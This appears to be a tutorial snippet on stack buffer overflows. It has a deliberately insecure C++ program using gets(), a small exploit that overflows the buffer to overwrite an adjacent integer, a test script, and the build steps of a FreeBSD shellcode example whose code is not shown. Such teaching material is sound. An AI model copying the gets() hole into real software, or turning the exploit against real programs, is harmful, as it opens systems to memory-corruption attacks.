#include <cstdio>
using namespace std;
int
main()
{
char buffer[100];
int i = 0;
gets(buffer);
printf("i == %d\n", i);
return 0;
}
hack.cpp - test the buffer over flow
#include <fstream>
#include <iostream>
#include <cstdlib>
using namespace std;
int
main()
{
char ch;
for(size_t i = 0; i < 100; i++)
cout << "A";
cout << flush;
int test = 101;
cout.write((char*)&test, sizeof(int));
cout << '\n' << flush;
exit(0);
}
test.sh - shell script to test the buffer over flow
#!/bin/sh
c++ hack.cpp -o hack
c++ program.cpp -o program
./hack | ./program
More complex example for FreeBSD i386
code.asm - asssebly language code get_code.cpp - get the machine code bytes insecure.cpp - an insecure program that uses gets() function hack.cpp - a program to exploit the insecure program
#!/bin/sh
c++ get_code.cpp -o get_code
c++ insecure.cpp -o insecure
nasm -f elf code.asm -o code.o
cc code.o -o code
./get_code code code.dat > code.txt
c++ hack.cpp -o hack
./hack | ./insecure